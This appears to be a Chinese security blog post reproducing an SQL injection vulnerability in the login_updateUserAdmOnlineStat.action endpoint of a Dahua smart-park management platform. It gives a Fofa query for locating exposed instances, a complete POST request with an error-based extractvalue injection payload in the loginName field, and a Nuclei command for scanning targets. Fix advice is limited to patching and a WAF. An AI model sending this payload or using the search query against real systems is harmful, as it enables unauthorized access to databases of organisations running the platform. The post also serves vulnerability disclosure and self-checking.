漏洞复现｜大华-智慧园区综合管理平台 login\_updateUserAdmOnlineStat 存在SQL注入漏洞
Poc复现
2026年10月14日 17:09
江苏
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
免责声明
「此公众号所分享的网络安全知识、信息及工具皆来源互联网公开收集整理，仅供学习和研究使用，请勿用于非法测试活动。由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，产生的一切后果由读者自行承担，皆与本公众号及文章作者无关、不负任何责任！！！」「如有内容侵权，请联系我们删除处理。谢谢合作！！！」
漏洞概述
大华-智慧园区综合管理平台 login\_updateUserAdmOnlineStat 存在SQL注入漏洞，攻击者可进行sql注入攻击获取数据库信息或者权限。
影响范围
dahua-智慧园区综合管理平台
空间测绘
Fofa
app=\"dahua-智慧园区综合管理平台\"
漏洞复现
Poc
POST /admin/login_updateUserAdmOnlineStat.action HTTP/1.1
Host:127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.6,en;q=0.5
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:154.0) Gecko/20100101 Firefox/154.0
loginName=1' xor extractvalue(1,concat(0x7e,version(),0x7e)) xor '&isAdmOnline=1
漏洞自查
Nuclei
nuclei.exe -u 目标URL -stats -silent -t dahua-smart-park-login-updateuseradmonlinestat-sqli.yaml
修复建议
- • 建议联系厂商打补丁或升级版本。
- • 增加Web应用防火墙防护。
poc免费获取
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论